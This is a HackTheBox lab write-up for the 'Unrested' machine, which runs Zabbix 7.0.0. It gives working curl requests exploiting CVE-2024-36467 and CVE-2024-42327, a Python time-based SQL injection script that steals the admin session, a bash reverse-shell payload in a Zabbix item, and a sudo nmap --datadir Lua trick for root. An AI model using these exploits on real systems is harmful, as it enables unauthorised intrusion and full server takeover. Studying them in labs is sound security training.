HTB: Unrested Writeup

Unrested - HackTheBox Writeup

Machine Information

AttributeDetails
NameUnrested
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP AddressN/A
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐⭐⭐⭐☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Unrested is a medium difficulty Linux machine hosting a vulnerable Zabbix 7.0.0 instance. The target is exploitable through two critical CVEs: CVE-2024-36467 (missing access controls in the user.update API function) and CVE-2024-42327 (SQL injection in the user.get API function). After gaining admin privileges via the access control bypass, remote code execution is achieved by creating malicious Zabbix items. Post-exploitation reveals a misconfigured sudo rule allowing the zabbix user to execute nmap with an exploitable —datadir parameter, leading to privilege escalation through Lua script injection.

TL;DR: Enumerate Zabbix → Exploit missing access controls to become admin → SQL injection to leak admin session → Create malicious item for RCE → Abuse nmap —datadir with custom Lua payload for root access.


Reconnaissance

Port Scanning

Terminal window
ports=$(nmap -p- --min-rate=1000 -T4 10.129.231.176 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.129.231.176

Results:

PortServiceVersion
22SSHOpenSSH 8.9p1 Ubuntu 3ubuntu0.1
80HTTPApache httpd 2.4.52 (Ubuntu)
10050tcpwrappedZabbix Agent
10051ssl/zabbix-trapperZabbix Server

Service Enumeration

Port 80 hosts an Apache web server that redirects to a Zabbix login interface. Default credentials are available for a user named matthew with the password 96qzn0h2e1k3. After authentication, the Zabbix dashboard is accessible, revealing version 7.0.0 at the bottom of the page. The authenticated user (matthew) is assigned the default User role with minimal privileges.

Ports 10050 and 10051 are associated with Zabbix agent and server components respectively, confirming this is a full Zabbix installation.

Vulnerability Assessment

Version 7.0.0 of Zabbix is vulnerable to:

  1. CVE-2024-36467: Missing authorization checks in the user.update() function within the CUser class allow authenticated users to modify user group assignments without proper validation.

  2. CVE-2024-42327: SQL injection vulnerability in the user.get() function’s selectRole parameter when the editable flag is set, enabling time-based blind SQL injection attacks.

  3. Misconfigured sudo: The zabbix user can execute /usr/bin/nmap with NOPASSWD sudo privileges, which is a wrapper script that fails to properly restrict the --datadir parameter.


Initial Foothold

Exploitation Path

Step 1: Authenticate to the Zabbix API

First, obtain an API authentication token using the provided credentials:

Terminal window
curl --request POST \
--url 'http://10.129.231.176/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"user.login","params":{"username":"matthew","password":"96qzn0h2e1k3"},"id":1}'

Response:

{"jsonrpc":"2.0","result":"<AUTH_TOKEN>","id":1}

Step 2: Exploit CVE-2024-36467 (Missing Access Controls)

The user.update() function lacks proper authorization checks for user group assignments. The checkHimself() function only validates direct role changes but does not validate user group (usrgrps) modifications. Abuse this to add matthew to the Zabbix administrators group:

Terminal window
curl --request POST \
--url 'http://10.129.231.176/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"user.update","params":{"userid":"3","usrgrps":[{"usrgrpid":"13"},{"usrgrpid":"7"}]},"auth":"<AUTH_TOKEN>","id":1}'

Response:

{"jsonrpc":"2.0","result":{"userids":["3"]},"id":1}

Verify the group assignment:

Terminal window
curl --request POST \
--url 'http://10.129.231.176/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"user.get","params":{"output":["userid","username"],"selectUsrgrps":["usrgrpid","name"],"filter":{"alias":"matthew"}},"auth":"<AUTH_TOKEN>","id":1}'

Matthew is now a member of the Zabbix administrators group and can create items.

Step 3: Exploit CVE-2024-42327 (SQL Injection)

The selectRole parameter in user.get() is vulnerable to SQL injection when editable is set. Create a request file for SQLMap:

POST /zabbix/api_jsonrpc.php HTTP/1.1
Host: 10.129.231.176
Content-Type: application/json-rpc
{
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"output": ["userid", "username"],
"selectRole": ["roleid", "name *"],
"editable": 1
},
"auth": "<AUTH_TOKEN>",
"id": 1
}

Execute SQLMap to identify and extract data:

Terminal window
sqlmap -r req --dbs

Confirm the injection with a time-based payload:

Terminal window
curl --request POST \
--url 'http://10.129.231.176/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"user.get","params":{"output":["userid","username"],"selectRole":["roleid","name AND (SELECT 1 FROM (SELECT SLEEP(5))A)"],"editable":1},"auth":"<AUTH_TOKEN>","id":1}'

The response will be delayed by 5 seconds, confirming the injection.

Step 4: Extract Admin Session via SQL Injection

Use a multi-threaded script to leak the admin session from the zabbix.sessions table:

import requests, json
from datetime import datetime
import string, random, sys
from concurrent.futures import ThreadPoolExecutor
URL = "http://10.129.231.176/zabbix/api_jsonrpc.php"
TRUE_TIME = 1
ROW = 0
USERNAME = "matthew"
PASSWORD = "96qzn0h2e1k3"
def authenticate():
payload = {
"jsonrpc": "2.0",
"method": "user.login",
"params": {
"username": f"{USERNAME}",
"password": f"{PASSWORD}"
},
"id": 1
}
response = requests.post(URL, json=payload)
if response.status_code == 200:
try:
response_json = response.json()
auth_token = response_json.get("result")
if auth_token:
print(f"Login successful! Auth token: {auth_token}")
return auth_token
else:
print(f"Login failed. Response: {response_json}")
except Exception as e:
print(f"Error: {str(e)}")
else:
print(f"HTTP request failed with status code {response.status_code}")
def send_injection(auth_token, position, char):
payload = {
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"output": ["userid", "username"],
"selectRole": [
"roleid",
f"name AND (SELECT * FROM (SELECT(SLEEP({TRUE_TIME}-(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0, {TRUE_TIME})))))BEEF)"
],
"editable": 1,
},
"auth": f"{auth_token}",
"id": 1
}
before_query = datetime.now().timestamp()
response = requests.post(URL, json=payload)
after_query = datetime.now().timestamp()
response_time = after_query - before_query
return char, response_time
def test_characters_parallel(auth_token, position):
with ThreadPoolExecutor(max_workers=10) as executor:
futures = {executor.submit(send_injection, auth_token, position, char): char for char in string.printable}
for future in futures:
char, response_time = future.result()
if TRUE_TIME - 0.5 < response_time < TRUE_TIME + 0.5:
return char
return None
def print_progress(extracted_value):
sys.stdout.write(f"\rExtracting admin session: {extracted_value}")
sys.stdout.flush()
def extract_admin_session_parallel(auth_token):
extracted_value = ""
max_length = 32
for position in range(1, max_length + 1):
char = test_characters_parallel(auth_token, position)
if char:
extracted_value += char
print_progress(extracted_value)
else:
print(f"\n(-) No character found at position {position}, stopping.")
break
return extracted_value
if __name__ == "__main__":
print("Authenticating...")
auth_token = authenticate()
print("Starting data extraction...")
admin_session = extract_admin_session_parallel(auth_token)

Run the script:

Terminal window
python3 poc.py

Expected Output:

Authenticating...
Login successful! Auth token: <redacted>
Starting data extraction...
Extracting admin session: <ADMIN_SESSION_ID>

Step 5: Create Malicious Zabbix Item for RCE

Using the extracted admin session token, retrieve host information:

Terminal window
curl --request POST \
--url 'http://10.129.231.176/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"host.get","params":{"output":["hostid","host"],"selectInterfaces":["interfaceid"]},"auth":"<ADMIN_SESSION>","id":1}'

Response:

{"jsonrpc":"2.0","result":[{"hostid":"10084","host":"Zabbix server","interfaces":[{"interfaceid":"1"}]}],"id":1}

Create an item with a reverse shell payload:

Terminal window
# Set up listener first
nc -lvvp 4448
# Create the malicious item
curl --request POST \
--url 'http://10.129.231.176/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"item.create","params":{"name":"rce","key_":"system.run[bash -c '"'"'bash -i >& /dev/tcp/10.10.14.100/4448 0>&1'"'"']","delay":1,"hostid":"10084","type":0,"value_type":1,"interfaceid":"1"},"auth":"<ADMIN_SESSION>","id":1}'

Response:

{"jsonrpc":"2.0","result":{"itemids":["47184"]},"id":1}

Trigger the item with a task:

Terminal window
curl --request POST \
--url 'http://10.129.231.176/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"task.create","params":[{"type":"6","request":{"itemid":"47184"}}],"auth":"<ADMIN_SESSION>","id":1}'

Reverse Shell Output:

Listening on 0.0.0.0 4448
Connection received on 10.129.231.176 43272
bash: cannot set terminal process group (14802): Inappropriate ioctl for device
bash: no job control in this shell
zabbix@unrested:/$

Retrieve the user flag:

Terminal window
cat /home/matthew/user.txt

Privilege Escalation

Exploitation Path

Step 1: Enumerate Sudo Privileges

Check what commands the zabbix user can execute with sudo:

Terminal window
sudo -l

Output:

Matching Defaults entries for zabbix on unrested:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin,
use_pty
User zabbix may run the following commands on unrested:
(ALL : ALL) NOPASSWD: /usr/bin/nmap *

Step 2: Analyze the nmap Wrapper

The system has a restrictive nmap wrapper. Inspect its contents:

Terminal window
cat /usr/bin/nmap

Output:

#!/bin/bash
#################################
## Restrictive nmap for Zabbix ##
#################################
# List of restricted options and corresponding error messages
declare -A RESTRICTED_OPTIONS=(
["--interactive"]="Interactive mode is disabled for security reasons."
["--script"]="Script mode is disabled for security reasons."
["-oG"]="Scan outputs in Greppable format are disabled for security reasons."
["-iL"]="File input mode is disabled for security reasons."
)
# Check if any restricted options are used
for option in "${!RESTRICTED_OPTIONS[@]}"; do
if [[ "$*" == *"$option"* ]]; then
echo "${RESTRICTED_OPTIONS[$option]}"
exit 1
fi
done
# Execute the original nmap binary with the provided arguments
exec /usr/bin/nmap.original "$@"

The wrapper blocks known GTFOBins escape techniques but fails to restrict the --datadir parameter.

Step 3: Exploit nmap —datadir Parameter

The --datadir option allows specifying a custom Nmap data directory. By default, nmap loads nse_main.lua from /usr/share/nmap. Create a malicious Lua script in /tmp and use --datadir=/tmp to execute arbitrary code as root:

Terminal window
# Create malicious Lua script
echo 'os.execute("chmod 4755 /bin/bash")' > /tmp/nse_main.lua
# Verify current bash permissions
ls -la /bin/bash

Output:

-rwxr-xr-x 1 root root 1396520 Jan 6 2022 /bin/bash

Execute nmap with the custom datadir and -sC flag to trigger script scanning:

Terminal window
sudo /usr/bin/nmap --datadir=/tmp -sC localhost

Output:

Starting Nmap 7.80 ( https://nmap.org ) at 2024-12-02 00:09 UTC
nmap.original: nse_main.cc:619: int run_main(lua_State*): Assertion `lua_isfunction(L, -1)' failed.
Aborted

Despite the assertion error, the Lua script executes before the error occurs. Verify that bash is now SUID:

Terminal window
ls -la /bin/bash

Output:

-rwsr-xr-x 1 root root 1396520 Jan 6 2022 /bin/bash

Step 4: Spawn Root Shell

Execute bash with the -p flag to use the effective UID (0):

Terminal window
/bin/bash -p
bash-5.1# id
uid=114(zabbix) gid=121(zabbix) euid=0(root) groups=121(zabbix)

Retrieve the root flag:

Terminal window
cat /root/root.txt

Attack Chain Summary

Enumerate Zabbix 7.0.0
Authenticate as matthew user
CVE-2024-36467: Exploit missing access controls in user.update() via usrgrps parameter
Become Zabbix administrator
CVE-2024-42327: SQL injection in user.get() selectRole parameter
Extract admin session from zabbix.sessions table
Create malicious Zabbix item with reverse shell
Gain RCE as zabbix user
Enumerate sudo privileges: sudo /usr/bin/nmap *
Bypass nmap wrapper restrictions with --datadir=/tmp
Inject Lua code into /tmp/nse_main.lua
Execute nmap with -sC to trigger Lua execution
SUID /bin/bash as root
Spawn root shell
Root Access

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
curlAPI interaction and payload delivery
sqlmapSQL injection identification and exploitation
netcatReverse shell listener
python3Multi-threaded SQL injection script execution
bashShell access and exploitation scripting

Key Learnings

Techniques Practiced

  • API security testing and authentication token extraction
  • PHP source code analysis for vulnerability identification
  • Time-based blind SQL injection exploitation with multi-threading
  • Zabbix item creation and remote code execution
  • Linux privilege escalation via sudo misconfiguration
  • Lua script injection in Nmap custom data directories
  • SUID bit manipulation for privilege escalation

Lessons Learned

  1. API Authorization Flaws: Always validate that API functions enforce proper authorization checks. The user.update() function had incomplete validation that allowed group membership manipulation despite role change restrictions.

  2. Parameterized Queries: SQL injection vulnerabilities arise when user input is concatenated into queries without proper sanitization. The selectRole parameter demonstrates the danger of dynamic query construction.

  3. Wrapper Script Limitations: Security wrappers around binaries can be bypassed if alternative parameter handling is not considered. The nmap wrapper blocked common exploit vectors but overlooked the --datadir parameter.

  4. Sudo Privilege Escalation: A single unrestricted sudo privilege can compromise the entire system if the underlying binary has exploitable features. Even with restrictions, alternative abuse vectors may exist.

  5. Defense in Depth: Zabbix should implement multiple layers: (a) proper authorization checks in API functions, (b) input validation on all parameters, and (c) principle of least privilege for service accounts.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>